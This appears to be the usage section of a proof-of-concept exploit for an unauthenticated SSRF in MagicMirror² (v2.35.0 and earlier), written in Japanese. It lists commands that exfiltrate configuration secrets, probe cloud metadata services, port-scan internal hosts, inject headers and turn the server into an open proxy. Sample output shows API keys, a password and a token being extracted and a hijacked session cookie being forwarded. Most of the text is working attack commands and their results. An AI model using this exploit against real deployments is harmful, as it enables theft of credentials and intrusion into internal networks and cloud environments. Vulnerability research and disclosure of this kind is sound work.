# 1. ターゲットが脆弱であることを確認する
python3 poc.py -t http://target:8080 --check

# 2. アプリケーション設定を外部に持ち出す（自動シークレット検出付き）
python3 poc.py -t http://target:8080 --config

# 3. 10以上のプロバイダーのクラウドメタデータサービスを調査する
python3 poc.py -t http://target:8080 --cloud

# 4. SSRF経由の内部ネットワークポートスキャン
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. インバウンド/アウトバウンドヘッダー悪用のデモ
python3 poc.py -t http://target:8080 --headers

# 6. サーバーを汎用オープンプロキシとして使用する
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — /cors エンドポイント経由の未認証SSRF
  Author: Astaruf | https://nstsec.com

  CHECK, ターゲット到達可能性とSSRF確認
  [*] ターゲットの到達可能性を確認中 ...
  [+] ターゲット到達可能、MagicMirror 2.35.0
  [*] ループバック経由でSSRFを確認中 ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF確認済み、サーバーが代わりに内部リソースを取得しました
      << 2.35.0

  CONFIG EXFILTRATION, SSRFループバック経由の完全な設定
  [+] 設定を取得しました、1194バイト
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] すべてのIPに開放

  SECRETS FOUND:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

  HEADER INJECTION, アウトバウンドおよびインバウンドヘッダー悪用
  [*] パートA: sendheaders を介してアウトバウンドリクエストに任意のヘッダーを注入
  [+] アウトバウンドリクエストでヘッダー X-Injected-By: SSRF-PoC を確認
  [+] アウトバウンドリクエストでヘッダー Authorization: Bearer DEMO_TOKEN を確認

  [*] パートB: expectedheaders を介してレスポンスヘッダーをブラウザに転送
  [+] レスポンスヘッダー Set-Cookie がブラウザに転送されました: session=hijacked;HttpOnly
  [+] ブラウザはこのCookieをMagicMirrorドメインから発信されたかのように受け取ります

  OPEN PROXY, 脆弱なサーバー経由で https://httpbin.org/ip を取得
  [+] HTTP 200、サーバーから32バイト受信

{
  "origin": "<サーバーのパブリックIP（攻撃者のIPではない）>"
}